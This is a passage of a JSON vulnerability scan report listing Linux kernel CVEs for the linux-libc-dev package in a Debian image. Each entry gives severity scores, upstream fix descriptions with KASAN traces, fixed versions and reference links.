\"indefinitely\" wait for dbc-\u003ein_use = false,\nleading the user process to hang.\n\nAs a solution to this, handle QAIC_TRANS_DEACTIVATE_FROM_DEV transactions\nthat are received after the user has gone away.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43007", "https://git.kernel.org/linus/2feec5ae5df785658924ab6bd91280dc3926507c%20%287.0-rc7%29", "https://git.kernel.org/stable/c/08021f2d4a557d6491e3bcc288e96425f50aa3cf", "https://git.kernel.org/stable/c/2dd67966f39a2abf8ccb4865031c722e40e01b7f", "https://git.kernel.org/stable/c/2feec5ae5df785658924ab6bd91280dc3926507c", "https://git.kernel.org/stable/c/ee0180e77e6c8482644569632065411de844c515", "https://git.kernel.org/stable/c/f403094d9075d7c565a3d81002b781c325cb3c07", "https://lore.kernel.org/linux-cve-announce/2026050154-CVE-2026-43007-469f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43007", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-43007" ], "PublishedDate": "2026-05-01T15:16:44.553Z", "LastModifiedDate": "2026-06-17T10:48:45.17Z" }, { "VulnerabilityID": "CVE-2026-43015", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43015", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:953f3872fb0da1eb486f4cbc754a2412dba2aad1b8a0da17d679870e3e2c3f05", "Title": "kernel: net: macb: fix clk handling on PCI glue driver removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: fix clk handling on PCI glue driver removal\n\nplatform_device_unregister() may still want to use the registered clks\nduring runtime resume callback.\n\nNote that there is a commit d82d5303c4c5 (\"net: macb: fix use after free\non rmmod\") that addressed the similar problem of clk vs platform device\nunregistration but just moved the bug to another place.\n\nSave the pointers to clks into local variables for reuse after platform\ndevice is unregistered.\n\nBUG: KASAN: use-after-free in clk_prepare+0x5a/0x60\nRead of size 8 at addr ffff888104f85e00 by task modprobe/597\n\nCPU: 2 PID: 597 Comm: modprobe Not tainted 6.1.164+ #114\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x8d/0xba\n print_report+0x17f/0x496\n kasan_report+0xd9/0x180\n clk_prepare+0x5a/0x60\n macb_runtime_resume+0x13d/0x410 [macb]\n pm_generic_runtime_resume+0x97/0xd0\n __rpm_callback+0xc8/0x4d0\n rpm_callback+0xf6/0x230\n rpm_resume+0xeeb/0x1a70\n __pm_runtime_resume+0xb4/0x170\n bus_remove_device+0x2e3/0x4b0\n device_del+0x5b3/0xdc0\n platform_device_del+0x4e/0x280\n platform_device_unregister+0x11/0x50\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n \u003c/TASK\u003e\n\nAllocated by task 519:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n __kasan_kmalloc+0x8e/0x90\n __clk_register+0x458/0x2890\n clk_hw_register+0x1a/0x60\n __clk_hw_register_fixed_rate+0x255/0x410\n clk_register_fixed_rate+0x3c/0xa0\n macb_probe+0x1d8/0x42e [macb_pci]\n local_pci_probe+0xd7/0x190\n pci_device_probe+0x252/0x600\n really_probe+0x255/0x7f0\n __driver_probe_device+0x1ee/0x330\n driver_probe_device+0x4c/0x1f0\n __driver_attach+0x1df/0x4e0\n bus_for_each_dev+0x15d/0x1f0\n bus_add_driver+0x486/0x5e0\n driver_register+0x23a/0x3d0\n do_one_initcall+0xfd/0x4d0\n do_init_module+0x18b/0x5a0\n load_module+0x5663/0x7950\n __do_sys_finit_module+0x101/0x180\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nFreed by task 597:\n kasan_save_stack+0x2c/0x50\n kasan_set_track+0x21/0x30\n kasan_save_free_info+0x2a/0x50\n __kasan_slab_free+0x106/0x180\n __kmem_cache_free+0xbc/0x320\n clk_unregister+0x6de/0x8d0\n macb_remove+0x73/0xc0 [macb_pci]\n pci_device_remove+0xae/0x210\n device_remove+0xcb/0x180\n device_release_driver_internal+0x529/0x770\n driver_detach+0xd4/0x1a0\n bus_remove_driver+0x135/0x260\n driver_unregister+0x72/0xb0\n pci_unregister_driver+0x26/0x220\n __do_sys_delete_module+0x32e/0x550\n do_syscall_64+0x35/0x80\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43015", "https://git.kernel.org/linus/ce8fe5287b87e24e225c342f3b0ec04f0b3680fe%20%287.0-rc7%29", "https://git.kernel.org/stable/c/16ab4c0e2b15df5d33bfcb9ea8e4441b85dd4a57", "https://git.kernel.org/stable/c/2d96204e4184d6f7dd2f93c6f218fd0c1f55e9ae", "https://git.kernel.org/stable/c/3496fb9e66f79d4def3bb7ec7563e3eaa33a688f", "https://git.kernel.org/stable/c/67f70841a175fa3469119f52d77a3662c07507a2", "https://git.kernel.org/stable/c/b3f799cdf830df1782ae463cf15ace35015be99e", "https://git.kernel.org/stable/c/bf64cae913cdd4821f13d5d1d68900c0891bef69", "https://git.kernel.org/stable/c/ce8fe5287b87e24e225c342f3b0ec04f0b3680fe", "https://git.kernel.org/stable/c/f310a836da90d0f0321b14d446c071af63f9ee4c", "https://linux.oracle.com/cve/CVE-2026-43015.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050156-CVE-2026-43015-9063@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43015", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43015" ], "PublishedDate": "2026-05-01T15:16:45.5Z", "LastModifiedDate": "2026-06-17T10:48:46.073Z" }, { "VulnerabilityID": "CVE-2026-43020", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43020", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f8188fc16b5723df71fc8f07bb01f95fa2c5a4f71be3550a4f87b97339862627", "Title": "kernel: Bluetooth: MGMT: validate LTK enc_size on load", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate LTK enc_size on load\n\nLoad Long Term Keys stores the user-provided enc_size and later uses\nit to size fixed-size stack operations when replying to LE LTK\nrequests. An enc_size larger than the 16-byte key buffer can therefore\noverflow the reply stack buffer.\n\nReject oversized enc_size values while validating the management LTK\nrecord so invalid keys never reach the stored key state.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/security/cve/CVE-2026-43020", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/b8dbe9648d69059cfe3a28917bfbf7e61efd7f15%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0f37d1e65c6d71ad94ccfb5c602163c525db789d", "https://git.kernel.org/stable/c/257cdb960d8ff6d60bb6461b03c814b6cf0c9e64", "https://git.kernel.org/stable/c/40ba329e8b4cd2fb11b0caf5e6a543ceaebb6009", "https://git.kernel.org/stable/c/50fb64defa72a3fecd0af1ca7c6b47b5c5c2b257", "https://git.kernel.org/stable/c/82f342b3b006ca1d65f4890c05f2ec32fcb808b6", "https://git.kernel.org/stable/c/b8dbe9648d69059cfe3a28917bfbf7e61efd7f15", "https://git.kernel.org/stable/c/c34577f517b556fb6ca173d45bf7e766ae2564ce", "https://git.kernel.org/stable/c/f71695e81f4cb428f3c7e2138eae88199005b52c", "https://linux.oracle.com/cve/CVE-2026-43020.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050157-CVE-2026-43020-3561@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43020", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43020" ], "PublishedDate": "2026-05-01T15:16:46.233Z", "LastModifiedDate": "2026-11-06T16:18:16.707Z" }, { "VulnerabilityID": "CVE-2026-43027", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43027", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36bf8ca634037b7f8cf7bc3fdd98822aeb6b44c37f29c13a9d7a9b7424291ae6", "Title": "kernel: netfilter: nf_conntrack_helper: pass helper to expect cleanup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_helper: pass helper to expect cleanup\n\nnf_conntrack_helper_unregister() calls nf_ct_expect_iterate_destroy()\nto remove expectations belonging to the helper being unregistered.\nHowever, it passes NULL instead of the helper pointer as the data\nargument, so expect_iter_me() never matches any expectation and all\nof them survive the cleanup.\n\nAfter unregister returns, nfnl_cthelper_del() frees the helper\nobject immediately. Subsequent expectation dumps or packet-driven\ninit_conntrack() calls then dereference the freed exp-\u003ehelper,\ncausing a use-after-free.\n\nPass the actual helper pointer so expectations referencing it are\nproperly destroyed before the helper object is freed.\n\n BUG: KASAN: slab-use-after-free in string+0x38f/0x430\n Read of size 1 at addr ffff888003b14d20 by task poc/103\n Call Trace:\n string+0x38f/0x430\n vsnprintf+0x3cc/0x1170\n seq_printf+0x17a/0x240\n exp_seq_show+0x2e5/0x560\n seq_read_iter+0x419/0x1280\n proc_reg_read+0x1ac/0x270\n vfs_read+0x179/0x930\n ksys_read+0xef/0x1c0\n Freed by task 103:\n The buggy address is located 32 bytes inside of\n freed 192-byte region [ffff888003b14d00, ffff888003b14dc0)", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/security/cve/CVE-2026-43027", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/a242a9ae58aa46ff7dae51ce64150a93957abe65%20%287.0-rc7%29", "https://git.kernel.org/stable/c/2c16e4d64dd91227742dfe196a3e7b0568bef65a", "https://git.kernel.org/stable/c/2cf2737c85a2ba2b52024dafe68ffad2676f97be", "https://git.kernel.org/stable/c/504ba4168466c91210c45acdc332479cfd5f2da6", "https://git.kernel.org/stable/c/5cf28d5c8dcbbe8af6d3b145babe491906d7bad1", "https://git.kernel.org/stable/c/620f3d14c1ef51d425060a3056ad8dbae8f998a3", "https://git.kernel.org/stable/c/90bd7e8501349db3006d21fbc09df9ffcb172965", "https://git.kernel.org/stable/c/a242a9ae58aa46ff7dae51ce64150a93957abe65", "https://git.kernel.org/stable/c/dc1739eff48e34cc71d4e2f03715493fbcebd8af", "https://linux.oracle.com/cve/CVE-2026-43027.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050159-CVE-2026-43027-5711@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43027", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43027" ], "PublishedDate": "2026-05-01T15:16:47.167Z", "LastModifiedDate": "2026-11-06T16:18:17.677Z" }, { "VulnerabilityID": "CVE-2026-43038", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43038", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2d9b92e4019bcfc55414484ec8b38506dd07096f610bd14f20ab7581c1537a06", "Title": "kernel: ipv6: icmp: clear skb2-\u003ecb[] in ip6_err_gen_icmpv6_unreach()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: icmp: clear skb2-\u003ecb[] in ip6_err_gen_icmpv6_unreach()\n\nSashiko AI-review observed:\n\n In ip6_err_gen_icmpv6_unreach(), the skb is an outer IPv4 ICMP error packet\n where its cb contains an IPv4 inet_skb_parm. When skb is cloned into skb2\n and passed to icmp6_send(), it uses IP6CB(skb2).\n\n IP6CB interprets the IPv4 inet_skb_parm as an inet6_skb_parm. The cipso\n offset in inet_skb_parm.opt directly overlaps with dsthao in inet6_skb_parm\n at offset 18.\n\n If an attacker sends a forged ICMPv4 error with a CIPSO IP option, dsthao\n would be a non-zero offset. Inside icmp6_send(), mip6_addr_swap() is called\n and uses ipv6_find_tlv(skb, opt-\u003edsthao, IPV6_TLV_HAO).\n\n This would scan the inner, attacker-controlled IPv6 packet starting at that\n offset, potentially returning a fake TLV without checking if the remaining\n packet length can hold the full 18-byte struct ipv6_destopt_hao.\n\n Could mip6_addr_swap() then perform a 16-byte swap that extends past the end\n of the packet data into skb_shared_info?\n\n Should the cb array also be cleared in ip6_err_gen_icmpv6_unreach() and\n ip6ip6_err() to prevent this?\n\nThis patch implements the first suggestion.\n\nI am not sure if ip6ip6_err() needs to be changed.\nA separate patch would be better anyway.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 4, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:22964", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25533", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:55618", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/security/cve/CVE-2026-43038", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", 